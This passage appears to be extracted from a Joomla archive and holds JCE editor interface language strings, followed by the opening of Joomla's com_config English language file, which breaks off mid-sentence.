;#################### Buttons ################################ WF_BUTTON_HELP ="Help" WF_BUTTON_INSERT ="Insert" WF_BUTTON_CANCEL ="Cancel" WF_BUTTON_REFRESH ="Refresh" WF_BUTTON_UPLOAD ="Upload" WF_BUTTON_FOLDER_NEW ="New Folder" WF_BUTTON_DELETE ="Delete" WF_BUTTON_RENAME ="Rename" WF_BUTTON_COPY ="Copy" WF_BUTTON_CUT ="Cut" WF_BUTTON_PASTE ="Paste" WF_BUTTON_VIEW ="View" WF_BUTTON_FILE_INSERT ="Insert" ;#################### Plugin Tabs ################################ WF_TAB_GENERAL ="General" WF_TAB_ADVANCED ="Advanced" WF_TAB_POPUP ="Popup" WF_TAB_POPUPS ="Popups" ;#################### Popups ################################ WF_POPUPS ="Popups" WF_POPUP_ENABLE ="Enable Popup" WF_POPUP_ENABLE_DESC ="Enable Popup::Click to enable popups. Additional 3rd party plugins may be required." WF_POPUP_TYPE_DESC ="Popup Type::Select Popup Type from available options" WF_POPUP_TYPE ="Popup Type" WF_POPUP_TYPE_SELECT ="Select Type" WF_POPUP_MEDIABOX ="Requires JCE MediaBox" WF_POPUP_TEXT_DESC ="Text::If no content selection is made or if the selection is plain text, enter new text or edit the text for the link here" WF_POPUP_TEXT ="Text" ;#################### Manager Help ################################ WF_MANAGER_HELP ="Manager Help" WF_MANAGER_HELP_UPLOAD ="Upload a file" WF_MANAGER_HELP_DELETE ="Delete a file / folder" WF_MANAGER_HELP_RENAME ="Rename a file / folder" WF_MANAGER_HELP_CREATE ="Create a folder" ;#################### Manager Errors ################################ WF_MANAGER_NEW_FOLDER_ERROR ="Unable to create folder - '%s'" WF_MANAGER_MOVE_FILES_ERROR ="Unable to move item - '%s'" WF_MANAGER_COPY_FILES_ERROR ="Unable to copy item - '%s'" WF_MANAGER_RENAME_FILES_ERROR ="Unable to rename file - '%s'" WF_MANAGER_RENAME_FOLDERS_ERROR ="Unable to rename folder - '%s'" WF_MANAGER_DELETE_FOLDERS_ERROR ="Unable to delete folder - '%s'" WF_MANAGER_DELETE_FILES_ERROR ="Unable to delete file - '%s'" WF_MANAGER_UPLOAD_ERROR ="Upload failed!" WF_MANAGER_UPLOAD_NOSUPPORT ="Upload method not supported" WF_MANAGER_FOLDER_NOT_EMPTY ="Unable to delete folder - '%s'. Folder not empty" WF_MANAGER_UPLOAD_INVALID_EXT_ERROR ="Upload failed : Invalid file type" WF_MANAGER_UPLOAD_INVALID_IMAGE_ERROR ="Upload failed : Not a valid image file." WF_MANAGER_UPLOAD_RESTRICTED_ERROR ="Upload failed : Restricted" ; ++ Added in 2.0.15 ++ WF_MANAGER_COPY_INTO_ERROR ="Unable to copy folder - Folders cannot be copied into themselves." ; ++ Added in 2.0.15 ++ WF_MANAGER_UPLOAD_SIZE_ERROR ="Upload failed : %s (%s) exceeds the maximum allowed size of %s" ;#################### Manager File suffix ################################ WF_MANAGER_FILE_SUFFIX ="_copy" ;#################### Extensions ################################ WF_LABEL_EXTENSION_ENABLE ="Enable" WF_LABEL_EXTENSION_ENABLE_DESC ="Enable this extension for the plugin" WF_EXTENSIONS_LINKS_TITLE ="Links" WF_EXTENSIONS_LINKS_DESC ="Link Extensions" WF_EXTENSIONS_POPUPS_TITLE ="Popups" WF_EXTENSIONS_POPUPS_DESC ="Popup Extensions" WF_EXTENSIONS_FILESYSTEM_TITLE ="Filesystem" WF_EXTENSIONS_FILESYSTEM_TITLE_DESC ="Filesystem used for File Browser" WF_EXTENSIONS_MEDIAPLAYERS_TITLE ="MediaPlayer" WF_EXTENSIONS_MEDIAPLAYERS_DESC ="MediaPlayer Extensions" WF_FILESYSTEM_PARAMETERS ="FileSystem Parameters" WF_FILESYSTEM_JOOMLA_TITLE ="Joomla! (Default)" WF_FILESYSTEM_JOOMLA_DESC ="Native Joomla! Filesystem functions" WF_EXTENSIONS_MEDIAPLAYER_TITLE ="MediaPlayer" WF_MEDIAPLAYER_OPTIONS ="MediaPlayer Options" WF_MEDIAPLAYER_EXTENSIONS ="Supported Extensions" WF_MEDIAPLAYER_EXTENSIONS_DESC ="Media types supported by this Media Player" WF_MEDIAPLAYER_PATH ="Path" WF_MEDIAPLAYER_PATH_DESC ="Relative path or Absolute URL to the Media Player file" WF_EXTENSIONS_AGGREGATOR_TITLE ="External Media Resource" ; ## JCE Media Player ## WF_MEDIAPLAYER_JCEPLAYER_TITLE ="JCE MediaPlayer" WF_MEDIAPLAYER_JCEPLAYER_DESC ="JCE MediaPlayer Extension" WF_MEDIAPLAYER_JCEPLAYER_AUTOPLAY ="Autoplay" WF_MEDIAPLAYER_JCEPLAYER_AUTOPLAY_DESC ="Autoplay::Starts playing the media automatically, without user input. The default behavior for the player is to require the user to start playback." WF_MEDIAPLAYER_JCEPLAYER_LOOP ="Loop" WF_MEDIAPLAYER_JCEPLAYER_LOOP_DESC ="Loop::Restarts media playback when the end of the file is reached. The default behavior for the player is not to loop." WF_MEDIAPLAYER_JCEPLAYER_AUDIOPAN ="Sound Balance" WF_MEDIAPLAYER_JCEPLAYER_AUDIOPAN_DESC ="Sound Balance::The left-right sound volume balance for the media. Allowable values range from -1 (full pan left) to 1 (full pan right). A value of 0 sets both sides to an equal volume." WF_MEDIAPLAYER_JCEPLAYER_VOLUME ="Volume" WF_MEDIAPLAYER_JCEPLAYER_VOLUME_DESC ="Volume::The initial volume of the media. Allowable values range from 0 (silent) to 1 (full volume)." WF_MEDIAPLAYER_JCEPLAYER_MUTED ="Muted" WF_MEDIAPLAYER_JCEPLAYER_MUTED_DESC ="Muted::Specifies whether the player initially loads content with its volume on or off." WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_MODE ="Control bar position" WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_MODE_DESC ="Control bar position::The location where the players controls are displayed. The default value sets the controls along the bottom of the player window. A value of floating displays the control bar hovering over the content, near the bottom of the window If a value of none is set, no control bar is displayed." WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_DOCKED ="Docked" WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_FLOATING ="Floating" WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_NONE ="None" WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_AUTOHIDE ="Control bar visibile" WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_AUTOHIDE_DESC ="Control bar visibility::Whether the players controls are visible at all times. With the default value (true), the controls are always displayed, otherwise they are not displayed unless the user is hovering the mouse over the player. When this occurs, the controls remain visible while the user interacts with the player and for an additional period of time equal to the controlBarAutoHideTimeout setting. With a value of false, the controls are continuously visible and may reduce the amount of the player window available to display content." WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_TIMEOUT ="Control bar visibility duration" WF_MEDIAPLAYER_JCEPLAYER_CONTROLBAR_TIMEOUT_DESC ="Control bar visibility duration::A duration, in seconds, for the control bar to remain visible, after the user has stopped interacting with the player. Default is 3. This value is used when controlBarAutoHide is set to true." WF_MEDIAPLAYER_JCEPLAYER_POSTER ="Pre-play poster frame" WF_MEDIAPLAYER_JCEPLAYER_POSTER_DESC ="Pre-play poster frame::A URL specifying an image to display in the player window before playback begins. If no default poster image is provided, the player displays the current background color. The image must be in a bitmap image format, such PNG, BMP, or JPG. Vector images, movies, or animations are not supported." WF_MEDIAPLAYER_JCEPLAYER_VIDEOOVERLAY ="Post-play poster frame" WF_MEDIAPLAYER_JCEPLAYER_VIDEOOVERLAY_DESC ="Post-play poster frame::A URL specifying an image to display in the player window after playback completes. This value is set to the value of the poster setting by default, so that the same poster image appears at the end as at the beginning of playback. The same file type restrictions as for poster apply." WF_MEDIAPLAYER_JCEPLAYER_PLAYBUTTONOVERLAY ="Play button overlay" WF_MEDIAPLAYER_JCEPLAYER_PLAYBUTTONOVERLAY_DESC ="Play button overlay::The default value displays a large Play button over the center of the player window before playback begins." WF_MEDIAPLAYER_JCEPLAYER_BUFFERINGOVERLAY ="Buffering indicator" WF_MEDIAPLAYER_JCEPLAYER_BUFFERINGOVERLAY_DESC ="Buffering indicator::The default value displays a visual notification when playback is paused to refill the buffer." ; ++ Added in 2.0.7 ++ WF_MEDIAPLAYER_JCEPLAYER_BACKGROUNDCOLOR ="Background Colour" WF_MEDIAPLAYER_JCEPLAYER_BACKGROUNDCOLOR_DESC ="Background Colour::The color for the background of the player in hex format, ie: #000000. The player background is visible when no content is being played. The default color is black." ;## JCE JoomlaLinks ## WF_LINKS_JOOMLALINKS_TITLE ="Joomla! Links" WF_LINKS_JOOMLALINKS_DESC ="Joomla! Links::Adds Joomla! Content, Menu, WebLink and Contact links to the Link Browser." WF_LINKS_JOOMLALINKS_MENU ="Menu" WF_LINKS_JOOMLALINKS_CONTENT ="Content" WF_LINKS_JOOMLALINKS_UNCATEGORIZED ="Uncategorized" WF_LINKS_JOOMLALINKS_WEBLINKS ="Weblinks" WF_LINKS_JOOMLALINKS_CONTACTS ="Contacts" WF_LINKS_JOOMLALINKS_PARAM_CONTENT ="Content List" WF_LINKS_JOOMLALINKS_PARAM_CONTENT_DESC ="Show Content Links List" WF_LINKS_JOOMLALINKS_PARAM_UNCATEGORIZED ="Uncategorized List" WF_LINKS_JOOMLALINKS_PARAM_UNCATEGORIZED_DESC ="Show Uncategorized Links List" WF_LINKS_JOOMLALINKS_PARAM_MENU ="Menu List" WF_LINKS_JOOMLALINKS_PARAM_MENU_DESC ="Show Menu Links List" WF_LINKS_JOOMLALINKS_PARAM_CONTACT ="Contact List" WF_LINKS_JOOMLALINKS_PARAM_CONTACT_DESC ="Show Contacts Links List" WF_LINKS_JOOMLALINKS_PARAM_WEBLINKS ="Weblinks List" WF_LINKS_JOOMLALINKS_PARAM_WEBLINKS_DESC ="Show Weblinks Links List" WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_ALIAS ="Add Article Alias" WF_LINKS_JOOMLALINKS_PARAM_ARTICLE_ALIAS_DESC ="Add the article alias to links" ;## Window Popups ## WF_POPUPS_WINDOW_TITLE ="Window Popups" WF_POPUPS_WINDOW_DESC ="Create and editor browser window popups" WF_POPUPS_WINDOW_OPTION_TITLE ="Title" WF_POPUPS_WINDOW_OPTION_TITLE_DESC ="Title::Popup Window Title" WF_POPUPS_WINDOW_MODE ="Mode" WF_POPUPS_WINDOW_MODE_DESC ="Window Mode::Basic - Shows only the content. Advanced - Set various window options such as scrollbars, location bar etc. on or off." WF_POPUPS_WINDOW_OPTIONS ="Options" WF_POPUPS_WINDOW_SCROLLBARS ="Show Scrollbars" WF_POPUPS_WINDOW_SCROLLBARS_DESC ="Show Scollbars::Show scrollbars if window content dimensions exceed window dimensions" WF_POPUPS_WINDOW_RESIZABLE ="Resizable" WF_POPUPS_WINDOW_RESIZABLE_DESC ="Resizable::Window can be resized" WF_POPUPS_WINDOW_POSITION ="Position" WF_POPUPS_WINDOW_POSITION_DESC ="Position::Position of the window on the screen" WF_POPUPS_WINDOW_LOCATIONBAR ="Show Location Bar" WF_POPUPS_WINDOW_LOCATIONBAR_DESC ="Show Location Bar::Show Window Location Bar" WF_POPUPS_WINDOW_TOOLBAR ="Show Toolbar" WF_POPUPS_WINDOW_TOOLBAR_DESC ="Show Toolbar::Show Window Toolbar" WF_POPUPS_WINDOW_LOCATION ="Show Location Bar" WF_POPUPS_WINDOW_LOCATION_DESC ="Show Location Bar::Show Window Location Bar" WF_POPUPS_WINDOW_STATUS ="Show Status Bar" WF_POPUPS_WINDOW_STATUS_DESC ="Show Status Bar::Show Window Status Bar" WF_POPUPS_WINDOW_MENUBAR ="Show Menu Bar" WF_POPUPS_WINDOW_MENUBAR_DESC ="Show Menu Bar::Show Window Menu Bar" ; ## JCE MediaBox ## WF_POPUPS_JCEMEDIABOX_TITLE ="JCE MediaBox Popups" WF_POPUPS_JCEMEDIABOX_DESC ="Create and editor popup links for JCE MediaBox" WF_POPUPS_JCEMEDIABOX_OPTION_TITLE ="Title" WF_POPUPS_JCEMEDIABOX_OPTION_TITLE_DESC ="Title::Title for the popup" WF_POPUPS_JCEMEDIABOX_CAPTION ="Caption" WF_POPUPS_JCEMEDIABOX_CAPTION_DESC ="Caption::Caption for the popup." WF_POPUPS_JCEMEDIABOX_GROUP ="Group" WF_POPUPS_JCEMEDIABOX_GROUP_DESC ="Group::Group to associate this popup with. Popups in the same group will be shown as a gallery." WF_POPUPS_JCEMEDIABOX_PARAMS ="Parameters" ; ++ Changed in JCE 2.0.18 ++ WF_POPUPS_JCEMEDIABOX_PARAMS_DESC ="Parameters::Set additional paramters for the popup or popup content. A parameter name and value are required. Click the Add button to add parameters and the remove button to remove them." WF_POPUPS_JCEMEDIABOX_DIMENSIONS ="Dimensions" WF_POPUPS_JCEMEDIABOX_DIMENSIONS_DESC ="Dimensions::Width / Height of the popup window in pixels. Omit either or both values to use fullscreen dimensions." WF_POPUPS_JCEMEDIABOX_ICON ="Popup Icon" WF_POPUPS_JCEMEDIABOX_ICON_DESC ="Popup Icon::Enable / Disable display of popup icon on target item" WF_POPUPS_JCEMEDIABOX_ICON_POSITION ="Icon Position" WF_POPUPS_JCEMEDIABOX_ICON_POSITION_DESC ="Icon Position::Position of the popup icon on the target item. If target item is a text link, position is limited to left / right." WF_POPUPS_JCEMEDIABOX_ICON_TOP_LEFT ="Top Left" WF_POPUPS_JCEMEDIABOX_ICON_BOTTOM_LEFT ="Bottom Left" WF_POPUPS_JCEMEDIABOX_ICON_TOP_RIGHT ="Top Right" WF_POPUPS_JCEMEDIABOX_ICON_BOTTOM_RIGHT ="Bottom Right" WF_POPUPS_JCEMEDIABOX_UTILITIES_REQUIRED ="The JCE Utilities plugin must be installed and enabled to use the Popup feature." WF_POPUPS_JCEMEDIABOX_AUTO ="Auto Popup" WF_POPUPS_JCEMEDIABOX_AUTO_DESC ="Auto Popup::Popup will open automatically on page loade based on the selected setting.
      Single - open once per browser session.
      Multiple - open on every page load." WF_POPUPS_JCEMEDIABOX_AUTO_SINGLE ="Single" WF_POPUPS_JCEMEDIABOX_AUTO_MULTIPLE ="Multiple" WF_POPUPS_JCEMEDIABOX_HIDE ="Hide Popup Link" WF_POPUPS_JCEMEDIABOX_HIDE_DESC ="Hide Popup Link::Hides the popup link and child elements. Useful when creating image galleries launched from a single link." WF_POPUPS_JCEMEDIABOX_MEDIATYPE ="Media Type" WF_POPUPS_JCEMEDIABOX_MEDIATYPE_DESC ="Media Type::Select Popup Media Type. This is crucial in determining how the popup will load. Some formats such as images and social media like Youtube and Vimeo etc. can be detected from the popup url by JCE MediaBox" WF_POPUPS_JCEMEDIABOX_IMAGE ="Image" WF_POPUPS_JCEMEDIABOX_INTERNAL ="Internal Links" WF_POPUPS_JCEMEDIABOX_EXTERNAL ="External Links / IFrame / Youtube / Vimeo" WF_POPUPS_JCEMEDIABOX_FLASH ="Adobe® Flash®" WF_POPUPS_JCEMEDIABOX_QUICKTIME ="Quicktime®" WF_POPUPS_JCEMEDIABOX_WINDOWSMEDIA ="Windows Media Player®" WF_POPUPS_JCEMEDIABOX_DIRECTOR ="Adobe® Shockwave®" WF_POPUPS_JCEMEDIABOX_REAL ="RealPlayer®" WF_POPUPS_JCEMEDIABOX_SILVERLIGHT ="Silverlight®" WF_POPUPS_JCEMEDIABOX_DIVX ="DivX®" ; ++ Added in 2.0.16 ++ WF_POPUPS_JCEMEDIABOX_VIDEO_MP4 ="MP4 Video" WF_POPUPS_JCEMEDIABOX_VIDEO_WEBM ="WebM Video" WF_POPUPS_JCEMEDIABOX_AUDIO_MP3 ="MP3 Audio" WF_POPUPS_JCEMEDIABOX_AUDIO_WEBM ="WebM Audio" WF_POPUPS_JCEMEDIABOX_VERSION_ERROR ="Version %s or later of the JCE MediaBox System Plugin is required" WF_AGGREGATOR_MORE_OPTIONS ="Additional Options" ; ## Youtube Aggregator ## WF_AGGREGATOR_YOUTUBE_TITLE ="Youtube" WF_AGGREGATOR_YOUTUBE_DESC ="Youtube - External Media Resource" WF_AGGREGATOR_YOUTUBE_EMBED ="Use Embed Method" WF_AGGREGATOR_YOUTUBE_EMBED_DESC ="Use Embed Method::Embed Youtube video using OBJECT and EMBED elements" WF_AGGREGATOR_YOUTUBE_RELATED ="Show Related" WF_AGGREGATOR_YOUTUBE_RELATED_DESC ="Show Related::Show Related Videos" WF_AGGREGATOR_YOUTUBE_HTTPS ="Use HTTPS" WF_AGGREGATOR_YOUTUBE_HTTPS_DESC ="Use HTTPS::Use secure url in Youtube link" WF_AGGREGATOR_YOUTUBE_PRIVACY ="Enable privacy-enhanced mode" WF_AGGREGATOR_YOUTUBE_PRIVACY_DESC ="Enable privacy-enhanced mode::Enable privacy-enhanced mode" WF_AGGREGATOR_YOUTUBE_AUTOPLAY ="Autoplay" WF_AGGREGATOR_YOUTUBE_AUTOPLAY_DESC ="Autoplay::Sets whether or not the initial video will autoplay when the player loads" WF_AGGREGATOR_YOUTUBE_AUTOHIDE ="Autohide" WF_AGGREGATOR_YOUTUBE_AUTOHIDE_DESC ="Autohide::This parameter indicates whether the video controls will automatically hide after a video begins playing. The default behavior is for the video progress bar to fade out while the player controls (play button, volume control, etc.) remain visible.
      • If this parameter is set to 0, the video progress bar and the video player controls will be visible throughout the video.
      • If this parameter is set to 1, then the video progress bar and the player controls will slide out of view a couple of seconds after the video starts playing. They will only reappear if the user moves her mouse over the video player or presses a key on her keyboard.
      " WF_AGGREGATOR_YOUTUBE_CONTROLS ="Controls" WF_AGGREGATOR_YOUTUBE_CONTROLS_DESC ="Controls::This parameter indicates whether the video player controls will display. If this parameter is set to 0, then the player controls will not display, causing the player to look like the chromeless player." WF_AGGREGATOR_YOUTUBE_LOOP ="Loop" WF_AGGREGATOR_YOUTUBE_LOOP_DESC ="Loop::In the case of a single video player, checking this option will cause the player to play the initial video again and again. In the case of a playlist player (or custom player), the player will play the entire playlist and then start again at the first video." WF_AGGREGATOR_YOUTUBE_PLAYLIST ="Playlist" WF_AGGREGATOR_YOUTUBE_PLAYLIST_DESC ="Playlist::Value is a comma-separated list of video IDs to play. If you specify a value, the first video that plays will be the VIDEO_ID specified in the URL path, and the videos specified in the playlist parameter will play thereafter." WF_AGGREGATOR_YOUTUBE_START ="Start" WF_AGGREGATOR_YOUTUBE_START_DESC ="Start::This parameter causes the player to begin playing the video at the given number of seconds from the start of the video" WF_AGGREGATOR_YOUTUBE_WIDTH_DESC ="Default Width to use for the Video" WF_AGGREGATOR_YOUTUBE_HEIGHT_DESC ="Default Height to use for the Video" ; ## Vimeo Aggregator ## WF_AGGREGATOR_VIMEO_TITLE ="Vimeo" WF_AGGREGATOR_VIMEO_DESC ="Vimeo - External Media Resource" WF_AGGREGATOR_VIMEO_COLOR ="Color" WF_AGGREGATOR_VIMEO_COLOR_DESC ="Color::Player Color" WF_AGGREGATOR_VIMEO_EMBED ="Use Old Embed Method" WF_AGGREGATOR_VIMEO_EMBED_DESC ="Use Old Embed Method::Embed Vimeo video using OBJECT and EMBED elements instead of IFrame" WF_AGGREGATOR_VIMEO_AUTOPLAY ="Autoplay" WF_AGGREGATOR_VIMEO_AUTOPLAY_DESC ="Autoplay::Sets whether or not the initial video will autoplay when the player loads" WF_AGGREGATOR_VIMEO_LOOP ="Loop" WF_AGGREGATOR_VIMEO_LOOP_DESC ="Loop::Checking this option will cause the player to play the video again and again." WF_AGGREGATOR_VIMEO_FULLSCREEN ="Fullscreen" WF_AGGREGATOR_VIMEO_FULLSCREEN_DESC ="Fullscreen::Allow Fullscreen option" WF_AGGREGATOR_VIMEO_BYLINE ="Byline" WF_AGGREGATOR_VIMEO_BYLINE_DESC ="Byline::Show Intro Byline" WF_AGGREGATOR_VIMEO_PORTRAIT ="Portrait" WF_AGGREGATOR_VIMEO_PORTRAIT_DESC ="Portrait::Show Intro Portrait" WF_AGGREGATOR_VIMEO_INTROTITLE ="Title" WF_AGGREGATOR_VIMEO_INTROTITLE_DESC ="Title::Show Intro Title" WF_AGGREGATOR_VIMEO_INTRO ="Intro Options" WF_AGGREGATOR_VIMEO_WIDTH_DESC ="Default Width to use for the Video" WF_AGGREGATOR_VIMEO_HEIGHT_DESC ="Default Height to use for the Video" ;++ Added in 2.0.16 ++ JACTION_ADMIN ="Configure Component" JACTION_ADMIN_COMPONENT_DESC ="Allow users in this group to edit the Permissions options for this extension" ; ++ Added in 2.0.8 ++ JACTION_MANAGE ="Access Component" JACTION_MANAGE_COMPONENT_DESC ="Allow users in this group to access this extension" WF_ACTION_CONFIG ="Editor Global Configuration" WF_ACTION_CONFIG_DESC ="Allow users in this group to access and edit the Editor Global Configuration" WF_ACTION_PROFILES ="Editor Profiles" WF_ACTION_PROFILES_DESC ="Allow users in this group to access and edit Editor Profiles" WF_ACTION_PREFERENCES ="Administration Options" WF_ACTION_PREFERENCES_DESC ="Allow users in this group to access and edit the Administration Options" WF_ACTION_INSTALLER ="Install Add-ons" WF_ACTION_INSTALLER_DESC ="Allow users in this group to Install Add-ons" WF_ACTION_BROWSER ="File Browser" WF_ACTION_BROWSER_DESC ="Allow users in this group to access the File Browser" WF_ACTION_MEDIABOX ="JCE MediaBox Parameters" WF_ACTION_MEDIABOX_DESC ="Allow users in this group to access the MediaBox Parameters" WF_RULES_ACTION="Action" WF_RULES_ALLOWED="Allowed" WF_RULES_DENIED="Denied" WF_RULES_GROUP="%s" WF_RULES_GROUPS="Groups" WF_RULES_NOT_SET="Not Set" WF_RULES_SELECT_ALLOW_DENY_GROUP="Allow or deny %s for users in the %s group" WF_RULES_SELECT_SETTING="Select New Setting" WF_RULES_SETTINGS_DESC="Manage the permission settings for the user groups below" ; ## Filegroups && Trademark Labels ## ; ++++ Added / Updated in 2.0.2 ++++ WF_FILEGROUP_ALL ="All Files" WF_FILEGROUP_IMAGE ="Images" WF_FILEGROUP_HTML ="HTML Files" WF_FILEGROUP_ARCHIVE ="Archive Files" WF_FILEGROUP_TEXT ="Text Files" WF_FILEGROUP_VIDEO ="Video" WF_FILEGROUP_AUDIO ="Audio" WF_FILEGROUP_ACROBAT ="Adobe® Acrobat®" WF_FILEGROUP_EXCEL ="Microsoft Excel®" WF_FILEGROUP_WORD ="Microsoft Word®" WF_FILEGROUP_POWERPOINT ="Microsoft Powerpoint®" WF_FILEGROUP_OFFICE ="Microsoft Office®" WF_FILEGROUP_FLASH ="Adobe® Flash®" WF_FILEGROUP_SHOCKWAVE ="Adobe® Shockwave®" WF_FILEGROUP_QUICKTIME ="Quicktime®" WF_FILEGROUP_WINDOWSMEDIA="Windows Media Player®" WF_FILEGROUP_SILVERLIGHT="Silverlight®" WF_FILEGROUP_DIVX ="DivX®" WF_FILEGROUP_OPENOFFICE ="OpenOffice.org" WF_FILEGROUP_REAL ="RealPlayer®" PK@y>\p{$fJfJ#language/en-GB/en-GB.com_config.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONFIG="Configuration Manager" COM_CONFIG_ACTION_ADMIN_DESC="Allows users in the group to perform any action over the whole site regardless of any other permission settings." COM_CONFIG_ACTION_CREATE_DESC="Allows users in the group to create any content in any extension." COM_CONFIG_ACTION_DELETE_DESC="Allows users in the group to delete any content in any extension." COM_CONFIG_ACTION_EDIT_DESC="Allows users in the group to edit any content in any extension" COM_CONFIG_ACTION_EDITOWN_DESC="Allows users in the group to edit any content they own in any extension" COM_CONFIG_ACTION_EDITSTATE_DESC="Allows users in the group to edit the state of any content in any extension" COM_CONFIG_ACTION_LOGIN_ADMIN_DESC="Allows users in the group to login to the backend administrator site." COM_CONFIG_ACTION_LOGIN_OFFLINE_DESC="Allows users in the group to access to the frontend site when site is offline." COM_CONFIG_ACTION_LOGIN_SITE_DESC="Allows users in the group to login to the frontend site." COM_CONFIG_ACTION_MANAGE_DESC="Allows users in the group to access all of the administration interface except Global Configuration" COM_CONFIG_CACHE_SETTINGS="Cache Settings" COM_CONFIG_COMPONENT_FIELDSET_LABEL="Component" COM_CONFIG_COOKIE_SETTINGS="Cookie Settings" COM_CONFIG_DATABASE_SETTINGS="Database Settings" COM_CONFIG_DEBUG_SETTINGS="Debug Settings" COM_CONFIG_ERROR_COMPONENT_ASSET_NOT_FOUND="The asset for the component could not be found. Permissions have not been saved." COM_CONFIG_ERROR_CONFIG_EXTENSION_NOT_FOUND="The Global Configuration extension could not be found. Text filter settings have not been saved." COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE="Could not make configuration.php unwritable." COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE="Could not make configuration.php writable." COM_CONFIG_ERROR_HELPREFRESH_ERROR_STORE="The new Help Sites list could not be saved" COM_CONFIG_ERROR_HELPREFRESH_FETCH="The current Help Sites list could not be fetched from the remote server" COM_CONFIG_ERROR_ROOT_ASSET_NOT_FOUND="The asset for global configuration could not be found. Permissions have not been saved." COM_CONFIG_ERROR_REMOVING_SUPER_ADMIN="You cannot remove your own Super Admin permissions." COM_CONFIG_ERROR_WRITE_FAILED="Could not write to the configuration file" COM_CONFIG_FIELD_CACHE_HANDLER_DESC="Choose cache handler to enable caching. Native caching mechanism is file-based. Please make sure the cache folders are writable." COM_CONFIG_FIELD_CACHE_HANDLER_LABEL="Cache Handler" COM_CONFIG_FIELD_CACHE_LABEL="Cache" COM_CONFIG_FIELD_CACHE_DESC="Enable or disable caching and set caching level. Conservative level: smaller system cache, Progressive level (default): faster, bigger system cache, includes module renderers cache. Not appropriate for extremely large sites." COM_CONFIG_FIELD_CACHE_TIME_DESC="The maximum length of time in minutes for a cache file to be stored before it is refreshed." COM_CONFIG_FIELD_CACHE_TIME_LABEL="Cache Time" COM_CONFIG_FIELD_COOKIE_DOMAIN_DESC="Domain to use when setting session cookies. Precede domain with '.' if cookie should be valid for all subdomains." COM_CONFIG_FIELD_COOKIE_DOMAIN_LABEL="Cookie Domain" COM_CONFIG_FIELD_COOKIE_PATH_DESC="Path the cookie should be valid for." COM_CONFIG_FIELD_COOKIE_PATH_LABEL="Cookie Path" COM_CONFIG_FIELD_DATABASE_HOST_DESC="The hostname for your database entered during the installation process. Do not edit this field unless absolutely necessary (e.g. the transfer of the database to a new hosting provider)." COM_CONFIG_FIELD_DATABASE_HOST_LABEL="Host" COM_CONFIG_FIELD_DATABASE_NAME_DESC="The name for your database entered during the installation process. Do not edit this field unless absolutely necessary (e.g. the transfer of the database to a new hosting provider)." COM_CONFIG_FIELD_DATABASE_NAME_LABEL="Database Name" COM_CONFIG_FIELD_DATABASE_PREFIX_DESC="The prefix used for your database tables entered during the installation process. Do not edit field unless absolutely necessary (e.g. the transfer of the database to a new hosting provider)." COM_CONFIG_FIELD_DATABASE_PREFIX_LABEL="Database Tables Prefix" COM_CONFIG_FIELD_DATABASE_TYPE_DESC="The type of database in use entered during the installation process. Do not edit this field unless you are having to migrate to a different type of database, perhaps due to changing your hosting provider." COM_CONFIG_FIELD_DATABASE_TYPE_LABEL="Database Type" COM_CONFIG_FIELD_DATABASE_USERNAME_DESC="The username for access to your database entered during the installation process. Do not edit this field unless absolutely necessary (e.g. the transfer of the database to a new hosting provider)." COM_CONFIG_FIELD_DATABASE_USERNAME_LABEL="Database Username" COM_CONFIG_FIELD_DEBUG_LANG_DESC="Select whether the debugging indicators (**...**) or (??...??) for the Joomla! Language files will be displayed. Debug Language will work without Debug System being activated, but you will not get the additional detailed references that will help you correct any errors." COM_CONFIG_FIELD_DEBUG_LANG_LABEL="Debug Language" COM_CONFIG_FIELD_DEBUG_SYSTEM_DESC="If enabled, diagnostic information, language translation, and SQL errors (if present) will be displayed. The information will be displayed at the foot of every page you view within the Joomla backend and frontend. It is not advisable to leave the debug mode activated when running a live Web site." COM_CONFIG_FIELD_DEBUG_SYSTEM_LABEL="Debug System" COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_DESC="Select the default access level for new content, menu items, and other items created on your site." COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_LABEL="Default Access Level" COM_CONFIG_FIELD_DEFAULT_EDITOR_DESC="Select the default text editor for your site. Registered Users will be able to change their preference in their personal details if you allow that option." COM_CONFIG_FIELD_DEFAULT_EDITOR_LABEL="Default Editor" COM_CONFIG_FIELD_DEFAULT_CAPTCHA_DESC="Select the default captcha for your site. You may need to enter required information for your captcha plugin in the Plugin Manager." COM_CONFIG_FIELD_DEFAULT_CAPTCHA_LABEL="Default Captcha" COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_DESC="Select the number of content items to show in the feed(s)." COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_LABEL="Default Feed Limit" COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC="Sets the default length of lists in the Control Panel for all users" COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL="Default List Limit" COM_CONFIG_FIELD_ERROR_REPORTING_DESC="Select the appropriate level of reporting from the drop down list. See the Help Screen for full details." COM_CONFIG_FIELD_ERROR_REPORTING_LABEL="Error Reporting" COM_CONFIG_FIELD_FEED_EMAIL_DESC="The RSS and Atom newsfeeds include the author's email address. Select Author Email to use each author's email (from the User Manager) in the news feed. Select Site Email to include the site 'Mail from' email address for each article." COM_CONFIG_FIELD_FEED_EMAIL_LABEL="Feed email" COM_CONFIG_FIELD_FILTERS_DEFAULT_BLACK_LIST="Default Black List" COM_CONFIG_FIELD_FILTERS_CUSTOM_BLACK_LIST="Custom Black List" COM_CONFIG_FIELD_FILTERS_NO_HTML="No HTML" COM_CONFIG_FIELD_FILTERS_NO_FILTER="No Filtering" COM_CONFIG_FIELD_FILTERS_WHITE_LIST="White List" COM_CONFIG_FIELD_FORCE_SSL_DESC="Force site access to always occur under SSL (https) for selected areas. You will not be able to access selected areas under non-ssl. Note, you must have SSL 